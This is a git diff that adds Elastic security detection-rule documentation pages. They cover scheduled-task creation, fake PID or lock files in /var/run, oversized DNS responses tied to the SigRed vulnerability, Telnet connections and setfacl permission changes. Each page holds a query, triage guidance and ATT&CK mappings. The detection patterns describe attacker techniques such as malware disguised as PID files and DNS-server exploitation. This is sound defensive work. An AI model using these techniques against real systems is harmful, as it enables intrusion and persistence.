diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-a-scheduled-task-was-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-a-scheduled-task-was-created.asciidoc new file mode 100644 index 0000000000..43f7a8b237 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-a-scheduled-task-was-created.asciidoc @@ -0,0 +1,154 @@ +[[prebuilt-rule-8-19-34-a-scheduled-task-was-created]] +=== A scheduled task was created + +Indicates the creation of a scheduled task using Windows event logs. Adversaries can use these to establish persistence, move laterally, and/or escalate privileges. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4698 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 116 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating A scheduled task was created* + + +Scheduled tasks in Windows automate routine tasks, enhancing efficiency. However, adversaries exploit this feature to maintain persistence, move laterally, or escalate privileges by creating malicious tasks. The detection rule identifies suspicious task creation by filtering out benign tasks and those initiated by system accounts, focusing on potential threats. This approach helps security analysts pinpoint unauthorized task creation indicative of malicious activity. + + +*Possible investigation steps* + + +- Review the user account associated with the task creation to determine if it is a known and authorized user, ensuring it is not a system account by checking that the username does not end with a dollar sign. +- Examine the task name and path in the event data to identify if it matches any known benign tasks or if it appears suspicious or unfamiliar. +- Investigate the origin of the task creation by checking the source IP address or hostname, if available, to determine if it aligns with expected network activity. +- Check the task's scheduled actions and triggers to understand what the task is designed to execute and when, looking for any potentially harmful or unexpected actions. +- Correlate the task creation event with other security events or logs around the same time to identify any related suspicious activities or anomalies. + + +*False positive analysis* + + +- Scheduled tasks created by system accounts or computer accounts are often benign. These can be excluded by filtering out user names ending with a dollar sign, which typically represent system accounts. +- Tasks associated with common software updates or maintenance, such as those from Hewlett-Packard or Microsoft Visual Studio, are generally non-threatening. These can be excluded by specifying their full task names in the exclusion list. +- OneDrive update tasks are frequently triggered and are usually safe. Exclude these by using patterns that match their task names, such as those starting with "OneDrive Standalone Update Task". +- Regularly review and update the exclusion list to include any new benign tasks that are identified over time, ensuring that the rule remains effective without generating unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the adversary. +- Terminate any suspicious scheduled tasks identified by the alert to halt any ongoing malicious activity. +- Conduct a thorough review of the system's scheduled tasks to identify and remove any other unauthorized or suspicious tasks. +- Restore the system from a known good backup if any malicious activity has been confirmed and has potentially compromised system integrity. +- Update and patch the system to the latest security standards to close any vulnerabilities that may have been exploited. +- Monitor the system and network for any signs of re-infection or further unauthorized scheduled task creation. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +Audit Other Object Access Events must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-other-object-access-events + + +==== Rule query + + +[source, js] +---------------------------------- +iam where host.os.type == "windows" and event.action == "scheduled-task-created" and + + /* excluding tasks created by the computer account */ + not user.name : "*$" and + + /* TaskContent is not parsed, exclude by full taskname noisy ones */ + not winlog.event_data.TaskName : ( + "\\CreateExplorerShellUnelevatedTask", + "\\Hewlett-Packard\\HPDeviceCheck", + "\\Hewlett-Packard\\HP Support Assistant\\WarrantyChecker", + "\\Hewlett-Packard\\HP Support Assistant\\WarrantyChecker_backup", + "\\Hewlett-Packard\\HP Web Products Detection", + "\\Microsoft\\VisualStudio\\Updates\\BackgroundDownload", + "\\OneDrive Standalone Update Task-S-1-5-21*", + "\\OneDrive Standalone Update Task-S-1-12-1-*", + "\\SoftLanding\\S-1-5-21-*\\SoftLanding*", + "\\SoftLanding\\S-1-12-*\\SoftLanding*", + "\\OneDrive Reporting Task-S-1-5-21-*", + "\\OneDrive Reporting Task-S-1-12-1-*", + "\\GoogleUserPEH\\RunPlatformExperienceHelper*", + "\\Mozilla\\Firefox Default Browser Agent*", + "\\Microsoft\\Office\\Office Background Push Maintenance", + "\\Microsoft\\Windows\\GroupPolicy\\GPUpdate" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-abnormal-process-id-or-lock-file-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-abnormal-process-id-or-lock-file-created.asciidoc new file mode 100644 index 0000000000..afb08fe88b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-abnormal-process-id-or-lock-file-created.asciidoc @@ -0,0 +1,203 @@ +[[prebuilt-rule-8-19-34-abnormal-process-id-or-lock-file-created]] +=== Abnormal Process ID or Lock File Created + +Identifies the creation of a Process ID (PID), lock or reboot file created in temporary file storage paradigm (tmpfs) directory /var/run. On Linux, the PID files typically hold the process ID to track previous copies running and manage other tasks. Certain Linux malware use the /var/run directory for holding data, executables and other tasks, disguising itself or these files as legitimate PID files. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.sandflysecurity.com/blog/linux-file-masquerading-and-malicious-pids-sandfly-1-2-6-update/ +* https://twitter.com/GossiTheDog/status/1522964028284411907 +* https://exatrack.com/public/Tricephalic_Hellkeeper.pdf +* https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Threat: BPFDoor +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: New Terms +* Platform: Linux + +*Version*: 220 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Abnormal Process ID or Lock File Created* + + +Linux applications may need to save their process identification number (PID) for various purposes: from signaling that a program is running to serving as a signal that a previous instance of an application didn't exit successfully. PID files contain its creator process PID in an integer value. + +Linux lock files are used to coordinate operations in files so that conflicts and race conditions are prevented. + +This rule identifies the creation of PID, lock, or reboot files in the /var/run/ directory. Attackers can masquerade malware, payloads, staged data for exfiltration, and more as legitimate PID files. + + +*Possible investigation steps* + + +- Retrieve the file and determine if it is malicious: + - Check the contents of the PID files. They should only contain integer strings. + - Check the file type of the lock and PID files to determine if they are executables. This is only observed in malicious files. + - Check the size of the subject file. Legitimate PID files should be under 10 bytes. + - Check if the lock or PID file has high entropy. This typically indicates an encrypted payload. + - Analysts can use tools like `ent` to measure entropy. + - Examine the reputation of the SHA-256 hash in the PID file. Use a database like VirusTotal to identify additional pivots and artifacts for investigation. +- Trace the file's creation to ensure it came from a legitimate or authorized process. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal account behavior, such as command executions, file creations or modifications, and network connections. +- Investigate any abnormal behavior by the subject process such as network connections, file modifications, and any spawned child processes. + + +*False positive analysis* + + +- False positives can appear if the PID file is legitimate and holding a process ID as intended. If the PID file is an executable or has a file size that's larger than 10 bytes, it should be ruled suspicious. +- If this activity is expected and noisy in your environment, consider adding exceptions — preferably with a combination of file name and process executable conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Block the identified indicators of compromise (IoCs). +- Take actions to terminate processes and connections used by the attacker. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:file and event.action:(creation or file_create_event) and +file.extension:(pid or lock or reboot) and file.path:(/var/run/* or /run/*) and ( + (process.name : ( + bash or dash or sh or tcsh or csh or zsh or ksh or fish or ash or touch or nano or vim or vi or editor or mv or cp) + ) or ( + process.executable : ( + ./* or /tmp/* or /var/tmp/* or /dev/shm/* or /var/run/* or /boot/* or /srv/* or /run/* + )) +) and not ( + process.executable : ( + /tmp/newroot/* or /run/containerd/* or /run/k3s/containerd/* or /run/k0s/container* or /snap/* or /vz/* or + /var/lib/docker/* or /etc/*/universal-hooks/pkgs/mysql-community-server/* or /var/lib/snapd/* or /etc/rubrik/* or + /run/udev/data/* + ) or + process.name : ( + go or git or containerd* or snap-confine or cron or crond or sshd or unattended-upgrade or vzctl or ifup or + rpcbind or runc or gitlab-runner-helper or elastic-agent or metricbeat or redis-server or libvirt_leaseshelper or + s6-ipcserver-socketbinder or xinetd or libvirtd or veeamdeploymentsvc or dnsmasq or virtlogd or lynis or + veeamtransport or bash or dash or sh or touch or podman or chrome_crashpad_handler or snmpd or automount or + chrome or yumBackend.py or rhsmcertd-worker or snapd or cp or dotnet or leapp or haproxy or multipathd or + falcond or python* or atopacctd or postmaster or httpd or pulseaudio or iptables or atd or package-cleanup or local + ) or + file.name : ( + jem.*.pid or lynis.pid or redis.pid or yum.pid or MFS.pid or jenkins.pid or nvmupdate.pid or openlitespeed.pid or + rhnsd.pid + ) or + file.path : (/run/containerd/* or /var/run/docker/containerd/* or /var/run/jem*.pid) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Native API +** ID: T1106 +** Reference URL: https://attack.mitre.org/techniques/T1106/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-abnormally-large-dns-response.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-abnormally-large-dns-response.asciidoc new file mode 100644 index 0000000000..6d61bc61a7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-abnormally-large-dns-response.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-34-abnormally-large-dns-response]] +=== Abnormally Large DNS Response + +Specially crafted DNS requests can manipulate a known overflow vulnerability in some Windows DNS servers, resulting in Remote Code Execution (RCE) or a Denial of Service (DoS) from crashing the service. + +*Rule type*: query + +*Rule indices*: + +* logs-network_traffic.* +* logs-panw.panos* +* logs-zeek.* +* logs-corelight.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/ +* https://msrc-blog.microsoft.com/2020/07/14/july-2020-security-update-cve-2020-1350-vulnerability-in-windows-domain-name-system-dns-server/ +* https://github.com/maxpl0it/CVE-2020-1350-DoS +* https://www.elastic.co/security-labs/detection-rules-for-sigred-vulnerability + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Tactic: Impact +* Resources: Investigation Guide +* Use Case: Vulnerability +* Data Source: Corelight +* Data Source: PAN-OS +* Data Source: Network Traffic +* Data Source: Zeek +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Vulnerability Exploit +* Rule Type: Custom Query (KQL) +* Domain: Network +* Data Source: Network Packet Capture + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Abnormally Large DNS Response* + + +Detection alerts from this rule indicate possible anomalous activity around large byte DNS responses from a Windows DNS server. This detection rule was created based on activity represented in exploitation of vulnerability (CVE-2020-1350) also known as https://www.elastic.co/blog/detection-rules-for-sigred-vulnerability[SigRed] during July 2020. + + +*Possible investigation steps* + + +- This specific rule is sourced from network log activity such as DNS or network level data. It's important to validate the source of the incoming traffic and determine if this activity has been observed previously within an environment. +- Activity can be further investigated and validated by reviewing any associated Intrusion Detection Signatures (IDS) alerts. +- Further examination can include a review of the `dns.question_type` network fieldset with a protocol analyzer, such as Zeek, Packetbeat, or Suricata, for `SIG` or `RRSIG` data. +- Validate the patch level and OS of the targeted DNS server to validate the observed activity was not large-scale internet vulnerability scanning. +- Validate that the source of the network activity was not from an authorized vulnerability scan or compromise assessment. + + +*False positive analysis* + + +- Based on this rule, which looks for a threshold of 65k bytes, activity below this value is expected to be legitimate. In packet capture files received by the https://isc.sans.edu/forums/diary/PATCH+NOW+SIGRed+CVE20201350+Microsoft+DNS+Server+Vulnerability/26356/[SANS Internet Storm Center], byte responses in observed attacks were all greater than 65k bytes. +- This activity can be triggered by compliance/vulnerability scanning or compromise assessment; it's important to determine the source of the activity and potentially allowlist the source host. +- Network security devices such as PAN-OS firewalls, Fortinet, and NetFlow exporters, as well as Zeek/Corelight connection summary records, record `destination.bytes` as the total bytes across an entire session rather than a single DNS response. Long-lived flow or connection records (`event.duration` > 60 seconds) are excluded to reduce this noise. Duration is used rather than packet count because a genuine SigRed TCP exchange completes in seconds and cannot be made to exceed 60 seconds by an attacker continuing to use the connection. + + +*Related rules* + + +- Unusual Child Process of dns.exe - 8c37dc0e-e3ac-4c97-8aa0-cf6a9122de45 +- Unusual File Modification by dns.exe - c7ce36c0-32ff-4f9a-bfc2-dcb242bf99f9 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Ensure that you have deployed the latest Microsoft https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1350[Security Update] (Monthly Rollup or Security Only) and restarted the patched machines. If unable to patch immediately, Microsoft https://support.microsoft.com/en-us/help/4569509/windows-dns-server-remote-code-execution-vulnerability[released] a registry-based workaround that doesn’t require a restart. This can be used as a temporary solution before the patch is applied. +- Maintain backups of your critical systems to aid in quick recovery. +- Perform routine vulnerability scans of your systems, monitor https://us-cert.cisa.gov/ncas/current-activity[CISA advisories] and patch identified vulnerabilities. +- If you observe a true positive, implement a remediation plan and monitor host-based artifacts for additional post-exploitation behavior. + + +==== Rule query + + +[source, js] +---------------------------------- +((event.category:(network or network_traffic) and destination.port:53) + or network.protocol:"dns" + or data_stream.dataset:(network_traffic.dns or zeek.dns) + or (event.module:corelight and event.dataset:dns)) + and destination.bytes >= 65000 + and event.type:("allowed" or "end" or "protocol" or "start") +and not ( + event.duration > 60000000000 + and ( + event.action:("flow_terminated" or "network_flow") + or data_stream.dataset:zeek.connection + or (event.module:corelight and event.dataset:conn) + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Endpoint Denial of Service +** ID: T1499 +** Reference URL: https://attack.mitre.org/techniques/T1499/ +* Sub-technique: +** Name: Application or System Exploitation +** ID: T1499.004 +** Reference URL: https://attack.mitre.org/techniques/T1499/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-accepted-default-telnet-port-connection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-accepted-default-telnet-port-connection.asciidoc new file mode 100644 index 0000000000..c6890b9151 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-accepted-default-telnet-port-connection.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-34-accepted-default-telnet-port-connection]] +=== Accepted Default Telnet Port Connection + +This rule detects network events that may indicate the use of Telnet traffic. Telnet is commonly used by system administrators to remotely control older or embedded systems using the command line shell. It should almost never be directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or backdoor vector. As a plain-text protocol, it may also expose usernames and passwords to anyone capable of observing the traffic. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* +* logs-panw.panos* +* logs-fortinet_fortigate.log-* +* logs-pfsense.log-* +* logs-sonicwall_firewall.log-* +* logs-suricata.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Lateral Movement +* Tactic: Initial Access +* Data Source: Fortinet +* Data Source: PAN-OS +* Data Source: pfSense +* Data Source: SonicWall +* Data Source: Suricata +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Domain: Network +* Data Source: Network Packet Capture +* Data Source: SonicWall Firewall Logs + +*Version*: 119 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Accepted Default Telnet Port Connection* + + +Telnet, a protocol for remote command-line access, is often used in legacy systems. Its lack of encryption makes it vulnerable, allowing attackers to intercept credentials or use it as a backdoor. The detection rule identifies unencrypted Telnet traffic on port 23, flagging connections that bypass typical security measures, thus highlighting potential unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the network traffic logs to identify the source IP address associated with the Telnet connection on port 23. Determine if the source IP is internal or external to the organization. +- Check the destination IP address to ascertain if it belongs to a critical system or a legacy device that might still use Telnet for management purposes. +- Investigate the timeline of the connection event to see if there are any patterns or repeated attempts, which could indicate a persistent threat or automated attack. +- Analyze any associated user accounts or credentials used during the Telnet session to verify if they are legitimate and authorized for remote access. +- Correlate the Telnet connection event with other security alerts or logs to identify any related suspicious activities, such as failed login attempts or unusual data transfers. +- Assess the network segment where the Telnet traffic was detected to determine if it is appropriately segmented and secured against unauthorized access. +- Consider implementing network security measures, such as disabling Telnet on devices or replacing it with secure alternatives like SSH, to prevent future unauthorized access attempts. + + +*False positive analysis* + + +- Legacy systems or devices that require Telnet for management may trigger alerts. To manage this, create exceptions for specific IP addresses or subnets known to host these systems. +- Internal network monitoring tools that use Telnet for legitimate purposes might be flagged. Identify these tools and exclude their traffic from the rule to prevent unnecessary alerts. +- Lab environments or test networks where Telnet is used for educational or testing purposes can cause false positives. Implement network segmentation and apply exceptions to these environments to reduce noise. +- Automated scripts or maintenance tasks that utilize Telnet for routine operations may be mistakenly identified. Document these tasks and whitelist their associated traffic patterns to avoid false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any active Telnet sessions on the affected system to disrupt potential attacker activities. +- Conduct a thorough review of system logs and network traffic to identify any unauthorized access or data manipulation that may have occurred. +- Change all credentials that may have been exposed through Telnet traffic, prioritizing those with administrative privileges. +- Implement network segmentation to restrict Telnet access to only necessary internal systems, ensuring it is not exposed to the internet. +- Deploy encryption protocols such as SSH to replace Telnet for remote command-line access, enhancing security for remote management. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the need for additional security measures. + +==== Rule query + + +[source, js] +---------------------------------- +(data_stream.dataset:(fortinet_fortigate.log or network_traffic.flow + or panw.panos or pfsense.log or sonicwall_firewall.log or suricata.eve) + or event.category:(network or network_traffic)) + and event.type:(connection and not (denied or end)) + and not event.action:(Reject or client-rst or connection-denied or + connection-end or denied or deny or flow_denied or flow_dropped or + flow_terminated or network_flow or server-rst or timeout) + and not (event.action:netflow_flow and not network.packets > 1) + and not network.application:(stretchoid-scanning or traceroute) + and not ( + data_stream.dataset:panw.panos and + network.application:("incomplete" or "insufficient-data" or "not-applicable") + ) + and destination.port:23 + and (network.protocol:(telnet or not *) or data_stream.dataset:fortinet_fortigate.log) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-access-control-list-modification-via-setfacl.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-access-control-list-modification-via-setfacl.asciidoc new file mode 100644 index 0000000000..c784646f32 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-access-control-list-modification-via-setfacl.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-34-access-control-list-modification-via-setfacl]] +=== Access Control List Modification via setfacl + +This rule detects Linux Access Control List (ACL) modification via the setfacl command. Attackers may use the setfacl utility to modify file and directory permissions in order to evade detection and maintain persistence on a compromised system. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.uptycs.com/blog/threat-research-report-team/evasive-techniques-used-by-malicious-linux-shell-scripts + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Access Control List Modification via setfacl* + + +Access Control Lists (ACLs) in Linux enhance file permission management by allowing more granular access control. The `setfacl` command modifies these ACLs, potentially altering who can access or modify files. Adversaries may exploit `setfacl` to stealthily change permissions, evading detection and maintaining persistence. The detection rule identifies suspicious `setfacl` executions, excluding benign patterns, to flag potential misuse. + + +*Possible investigation steps* + + +- Review the process details to confirm the execution of the setfacl command, focusing on the process.name and event.type fields to ensure the alert is valid. +- Examine the process.command_line to understand the specific ACL modifications attempted and identify any unusual or unauthorized changes. +- Investigate the user account associated with the process execution to determine if the action aligns with their typical behavior or role. +- Check the process's parent process to identify how the setfacl command was initiated and assess if it was part of a legitimate workflow or a potential compromise. +- Correlate the event with other security logs or alerts from the same host to identify any related suspicious activities or patterns that might indicate a broader attack. + + +*False positive analysis* + + +- Routine system maintenance tasks may trigger the rule if they involve legitimate use of setfacl. To manage this, identify and document regular maintenance scripts or processes that use setfacl and create exceptions for these specific command lines. +- Backup operations that restore ACLs using setfacl can be mistaken for suspicious activity. Exclude these by adding exceptions for command lines that match known backup procedures, such as those using the --restore option. +- Automated log management tools might use setfacl to manage permissions on log directories like /var/log/journal/. To prevent false positives, exclude these specific directory paths from triggering the rule. +- Custom applications or services that require dynamic permission changes using setfacl could be flagged. Review these applications and, if deemed safe, add their specific command patterns to the exception list to avoid unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or changes. +- Review the process execution logs to identify any unauthorized users or processes that executed the `setfacl` command. +- Revert any unauthorized ACL changes by restoring the original file permissions from a known good backup or configuration. +- Conduct a thorough scan of the system for any additional signs of compromise, such as unauthorized user accounts or unexpected processes. +- Update and patch the system to address any vulnerabilities that may have been exploited to gain access. +- Implement stricter access controls and monitoring on critical systems to detect and prevent unauthorized ACL modifications in the future. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name == "setfacl" and not ( + ?process.parent.executable in ( + "/opt/puppetlabs/puppet/bin/ruby", "/usr/libexec/dirsrv/ds_systemd_ask_password_acl", "/usr/lib/systemd/systemd-udevd", + "/usr/bin/udevadm", "/usr/sbin/ds_systemd_ask_password_acl", "/usr/bin/su", "/bin/su" + ) or + process.command_line == "/bin/setfacl --restore=-" or + process.args == "/var/log/journal/" or + ?process.parent.name in ("stats.pl", "perl", "find") or + ?process.parent.command_line like~ "*ansible*" or + ?process.parent.args == "/opt/audit-log-acl.sh" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: File and Directory Permissions Modification +** ID: T1222 +** Reference URL: https://attack.mitre.org/techniques/T1222/ +* Sub-technique: +** Name: Linux and Mac File and Directory Permissions Modification +** ID: T1222.002 +** Reference URL: https://attack.mitre.org/techniques/T1222/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-access-to-a-sensitive-ldap-attribute.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-access-to-a-sensitive-ldap-attribute.asciidoc new file mode 100644 index 0000000000..48e43a6d65 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-access-to-a-sensitive-ldap-attribute.asciidoc @@ -0,0 +1,189 @@ 